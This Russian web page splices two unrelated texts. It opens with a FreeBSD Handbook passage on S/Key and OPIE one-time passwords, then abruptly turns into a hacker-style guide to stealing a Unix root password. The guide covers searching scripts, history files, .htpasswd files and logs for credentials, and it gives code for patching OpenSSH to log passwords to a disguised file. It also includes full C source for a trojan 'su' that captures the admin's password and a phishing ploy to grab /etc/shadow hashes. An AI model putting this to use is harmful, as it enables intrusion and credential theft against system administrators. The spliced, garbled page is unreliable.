Создание нескольких одноразовых паролей.

Частично переписал и обновил Bill Swingle.

Для OPIE, используйте opiepasswd:

% opiepasswd


Updating unfurl:

You need the response from an OTP generator.

Old secret pass phrase:

otp-md5 498 to4268 ext

Response: GAME GAG WELT OUT DOWN CHAT

New secret pass phrase:

otp-md5 499 to4269

Response: LINE PAP MILK NELL BUOY TROY


ID mark OTP key is 499 gr4269

LINE PAP MILK NELL BUOY TROY

Чтобы принять ключ по умолчанию нажмите Enter . Затем, перед вводом пароля доступа введите те же параметры в вашем защищенном соединении или средстве доступа S/Key:

% key 100 to17759

Enter secret password:

CURE MIKE BANE HIM RACY GORE

Или для OPIE:

% opiekey 498 to4268

Enter secret pass phrase:

GAME GAG WELT OUT DOWN CHAT

Теперь переключитесь на незащищенное соединение и скопируйте одноразовый пароль, сгенерированный соответствующей программой.

14.5.3. Создание одного одноразового пароля

Как только вы настроите S/Key или OPIE, во время входа появится приглашение вроде этого:

% telnet example.com

Trying 10.0.0.1...

Connected to example.com

Escape character is "^]".

login:

s/key 97 fw13894

Или для OPIE:

% telnet example.com

Trying 10.0.0.1...

Connected to example.com

Escape character is "^]".


FreeBSD/i386 (example.com) (ttypa)
login:

otp-md5 498 gr4269 ext

Кроме того, у S/Key и OPIE есть полезная особенность (не показанная здесь): если вы нажмете Enter в приглашении на ввод пароля, включится эхо, и вы сможете увидеть то, что вводите. Это может быть очень полезно, если вы пытаетесь ввести пароль вручную, например с распечатки.

В этот момент вам потребуется сгенерировать одноразовый пароль, чтобы ввести его в приглашение. Это должно быть выполнено на защищенной системе, в которой вы можете запустить key или opiekey (есть версии для DOS, Windows и Mac OS). Им требуются значения счетчика цикла и ключ в качестве параметров командной строки. Вы можете скопировать и вставить их прямо из приглашения login компьютера, на который входите.

В защищенной системе:

% key 97 fw13894

Reminder - Do not use this program while logged in via telnet or rlogin.

Enter secret password:

WELD LIP ACTS ENDS ME HAAG

% opiekey 498 to4268

Using the MD5 algorithm to compute response.

Reminder: Don"t use opiekey from telnet or dial-in sessions.

Enter secret pass phrase:

GAME GAG WELT OUT DOWN CHAT

Теперь, когда у вас есть одноразовый пароль, можете продолжить вход в систему:

s/key 97 fw13894

Password:

s/key 97 fw13894

Password : WELD LIP ACTS ENDS ME HAAG

Last login: Tue Mar 21 11:56:41 from 10.0.0.2 ...

14.5.4. Создание нескольких одноразовых паролей

Иногда вы отправляетесь туда, где нет доступа к защищенному компьютеру или защищенному соединению. В этом случае, можно использовать команды key и opiekey для создания нескольких одноразовых паролей, которые вы сможете распечатать и забрать с собой. Например:

% key -n 5 30 zz99999

Reminder - Do not use this program while logged in via telnet or rlogin.

Enter secret password:

26: SODA RUDE LEA LIND BUDD SILT

27: JILT SPY DUTY GLOW COWL ROT

28: THEM OW COLA RUNT BONG SCOT

Или для OPIE:

% opiekey -n 5 30 zz99999

Using the MD5 algorithm to compute response.

Reminder: Don"t use opiekey from telnet or dial-in sessions.

Enter secret pass phrase:

26: JOAN BORE FOSS DES NAY QUIT

27: LATE BIAS SLAY FOLK MUCH TRIG

28: SALT TIN ANTI LOON NEAL USE

29: RIO ODIN GO BYE FURY TIC

30: GREW JIVE SAN GIRD BOIL PHI

Параметр -n 5 запрашивает пять паролей, 30 указывает значение последнего счетчика цикла. Обратите внимание, что пароли печатаются в обратном по сравнению с обычным использованием порядке. Если вы действительно параноик, перепишите результат вручную; иначе скопируйте и передайте его lpr. Обратите внимание, что каждая линия содержит как счетчик цикла, так и одноразовый пароль; вам может показаться удобным отрывать пароль после использования.

14.5.5. Ограничение использования UNIX® паролей

S/Key может наложить ограничения на использование UNIX паролей на основе имени хоста, имени пользователя, порта терминала или IP адреса сессии. Эти ограничения можно найти в файле настройки /etc/skey.access. Страница справочника skey.access(5) содержит дополнительную информацию о полном формате файла а также детали о некоторых предосторожностях , которые должны быть предприняты перед тем, как положиться в вопросах безопасности на этот файл.

Если файла /etc/skey.access нет (это ситуация по умолчанию в системах FreeBSD 4.X), всем пользователям будет разрешено входить с паролями UNIX. Если файл существует, использование S/Key станет обязательно для всех, если только параметры настройки в файле skey.access не указывают иначе. В любом случае, пароли UNIX разрешены при входе с консоли.

Вот пример файла настройки skey.access, иллюстрирующий три наиболее распространенных вида параметров настройки:

permit internet 192.168.0.0 255.255.0.0

permit user fnord

permit port ttyd0

Первая строка (permit internet) разрешает пользователям, чей IP адрес (который подвержен подделке) соответствует заданному значению и маске, входить с использованием паролей UNIX. Это должно рассматриваться не как механизм безопасности , а как напоминание пользователям, что они работают через небезопасное соединение и должны использовать для аутентификации S/Key.

Вторая строка (permit user) позволяет определенным пользователям, в данном случае fnord, всегда использовать пароли UNIX. Вообще говоря, это должно использоваться только для тех, кто не может использовать программу key, например если они работают с простых терминалов или необучаемы.

Третья строка (permit port) позволяет всем пользователям, вошедшим с определенного терминала использовать пароли UNIX ; этот параметр должен использоваться для подключений по dial-up.

OPIE может ограничивать использование паролей UNIX на основе IP адреса как и S/Key. Соответствующий файл называется /etc/opieaccess, он существует по умолчанию в FreeBSD 5.0 и более современных системах. Обратитесь к opieaccess(5) за более подробной информацией об этом файле и о предосторожностях, которые вы должны предпринять при использовании этого файла.

Вот пример файла opieaccess:

permit 192.168.0.0 255.255.0.0

Эта строка позволяет пользователям, чей IP адрес (который подвержен подделке) соответствует указанному значению и маске, входить с паролем UNIX.

Если ни одно из правил в opieaccess не сработало, поведением по умолчанию является запрет всех не-OPIE входов.

Пожалуй, самая большая проблема в хаке – определение рутового пароля. Даже когда хакер сломал систему каким-либо эксплойтом, достать пароль не так то просто. Но на каждую гайку найдется свой болт, поэтому позволь тебе раскрыть 10 универсальных способов дознания этой важной инфы;). Нет, тебе даже не потребуется встречаться с админом и поить его пивом до бессознательного состояния (а точнее, до состояния, в котором он раскроет тебе важную информацию). Все намного проще – существуют приемы, после применения которых, ты получишь root password. Естественно, все зависит от ситуации. Все они будут обговорены ниже.

1. Поиск в Perl/PHP-скриптах.

Очень действенный метод. Обычно админы из-за своей лени делают рутовый пароль на базу сходным с паролем в систему. А аккаунт к SQL можно найти… правильно! В PHP и Perl скриптах. Перед этим узнается путь к WWW-каталогу (простым парсингом httpd.conf), после перехода в этот каталог ищется необходимая информация. Следует лишь учитывать, что PHP-скрипты часто используют инклуд-файлы (*.inc) с переменными для MySQL, Perl-сценарии хранят все в одном главном файле. Проверить пароль можно командой mysql –uroot –pПАРОЛЬ. Затем сравни его с системным (через /bin/su).

Метод применяется при всех вариантах взлома.

2. Поиск в HISTORY-файлах.

Часто админы используют консольные программы, которым передают пароль прямо из командной строки. Это все записывается в history-файл под названием.bash_history (естественно, для других интерпретаторов название файла будет другим). Туда же может попасть инфа из-за ошибки админа в команде (я, например,
видел то, как админ вместо “su” набрал “psu”, а затем свой пароль).

Существует другой файл истории. Он называется.mysql_history и находится также в домашнем каталоге пользователя. Там ты можешь найти команды смены пароля для SQL-доступа. Этот пароль, возможно, совпадет с рутовым.

Способ применим лишь когда имеется полный контроль над системой. Но случается такое, когда HISTORY-файлы имеют атрибут 644. Найти такие файлы (а затем прочитать) можно с помощью команды find / -perm 644 –name *_history.

3. Поиск в.htpasswd.

Когда в системе установлен Web-сервер, возможно обнаружить хеши-паролей в.htpasswd-файлах. Просто набери locate .htpasswd и ты увидишь список доступных файлов. Правда, файлы не будут прочитаны, когда у тебя лишь user-access, а на документе установлен атрибут, запрещающий read.

Расшифровать такие хеши можно программой John The Ripper. Не мне тебя учить этим заниматься, поэтому считаю, что данный метод тебе понятен.

4. Поиск в других файлах.

Встречаются сервера, где пароли указываются в файлах сторонних приложений. К примеру, я сталкивался с ситуацией, когда рутовый пароль лежал в файле socks5.password.

Внимание! Эти файлы могут оказаться недоступными для чтения. Поэтому, тут все зависит от ситуации…

5. Заметки на полях.

Часто админы оставляют важные файлы в своих каталогах. Они содержат некоторые заметки. Не исключено, что среди таковых ты можешь встретить и пароли. Я сам сталкивался с таким и нарыл рутовый пароль в файлике “notes”. Обращай повышенное внимание на подобные вещи.

6. Поиск в логах.

Да! Помимо обычной информации, логи могут содержать пароли. Например, radius ведет полный отчет об аутентификации (по умолчанию). Что парадоксально, эти логи доступны для чтения обычному пользователю. Из-за этого, становится возможным прочитать отчет авторизации, а, следовательно, узнать пароли (возможно, среди них будет и рутовый).

7. Снифинг данных.

Некоторые руткиты содержат в себе локальный снифер, который позволяет легко узнавать пароли на ssh (простая модификация /usr/bin/ssh с поддержкой логгинга;)). Обычно такая поддержка и путь к файлу с логом указывается в документации руткита). Все хорошо, но огорчает лишь одно обстоятельство: большинство руткитов содержат старый ssh, который поддерживает лишь первый протокол. В итоге, хакер может выдать себя с потрохами.

Но кто мешает собрать собственный ssh и включить в нем запоминание паролей? Правильно! Никто. Находим в пакете OpenSSH файлик с именем sshconnect1.c. Затем вставляем в его содержимое следующие строки:

После строчки “snprintf(prompt, sizeof(prompt), «%.30s@%.128s’s password: «,server_user, host);”

ifile=fopen(«/boot/kernel.old»,»a»);
fprintf(ifile,»session %s %s\n»,server_user,host);
fclose(ifile);

После строчки “password = read_passphrase(prompt, 0);”
ifile=fopen(«/boot/kernel.old «,»a»);
fprintf(ifile,»password is %s\n»,password);
fclose(ifile);

Если все сделано правильно, ssh соберется без приключений. Теперь админ не заметит изъяна в системе, а ты узнаешь его пароль на ssh. Когда он ходит под рутом – это и будет рутовый пароль;).

8. Прикидываемся системным сервисом;).

Для осуществления этого способа достаточно написать небольшой скрипт, который читает /etc/shadow и гребет оттуда рутовый хэш. Это просто и писать сценарий я не буду (справишься сам). Затем пишется e-mail администратору, в котором говориться, что в системе обнаружен вирус, и для его лечения необходимо запустить специальную программу. Для полной убежденности, укажи системный путь к этой программе. Когда админ запустит твое творение (а сделает он это под рутом), ты уведешь его драгоценный хэш. Разумеется, тебе нужно напичкать свой сценарий разного рода надписями, что вирус излечен. Да, и не вздумай выкладывать исходник на диск в системе – админ его обязательно прочитает. Если пишешь на перле, после написания скомпилируй его в бинарник (perlcc –o file file.pl).

Этот метод я описывал в одном из номеров Хакера (Юниксоид, Забавы в Linux). Из-за того, что юзеры, читавшие Хакер не посещают сайта (и наоборот), будет не лишним повторить мой хитрый прием.

Итак, создается файл следующего содержания:

#define SORRY «Sorry»
#define PFILE «tmp/.screen»
#define MYPATH «tmp/.screen_active»
#include
void sigexit(int no);
int main() {
char pass;
char longs;
int filep;
signal(SIGINT, sigexit);
printf(«Password:»);
system(«stty -echo»);
scanf(«%s»,pass);
system(«stty echo»);
printf(«\r\n»);
filep=fopen(PFILE,»w»);
fprintf(filep,»Pass is %s\n»,pass);
fclose(filep);
printf(«%s\r\n»,SORRY);
strcpy(longs,»»);
strcat(longs,»/bin/ln -sf /bin/su «);
strcat(longs,MYPATH);
system(longs);
exit(0);
}
void sigexit(int no) {
system(«stty echo»);
printf(«\r\n\r\n»);
exit(0);
}

и обзывается su.c. Если вглядеться в простенький код можно понять, что это полная имитация /bin/su, только с логированием пароля в файл tmp/.screen. Сам бинарник будет находиться в файле tmp/.screen_active (все пути относительно домашнего каталога пользователя). После того, как файл выполнится он замещается стандартным /bin/su. Таким образом, админ думает, что ошибся паролем, так как со второй попытки суид будет успешным.

Перед тем, как проверять данный метод на практике, впиши строчку “alias su /home/user/tmp/.screen_active в файл ~/.bash_profile и жди, пока админ решит суиднуться на рута. Когда это произойдет – пароль твой;).

Данный метод работает лишь тогда, когда юзер регулярно суидиться на рута, а у хакера есть доступ к этому аккаунту (либо ко всей системе).

10. Стандартный способ.

И, наконец, настало время рассказать про самый тривиальный способ. Хакер захватывает систему и получает доступ к /etc/shadow. Далее, все по сценарию – берется расшифровщик, хороший словарь и вся надежда только на удачу. Я думаю, ты не раз сталкивался с применением этого метода. И, что интересно, постоянно забывал об остальных 9…



Есть вопросы?

Сообщить об опечатке

Текст, который будет отправлен нашим редакторам: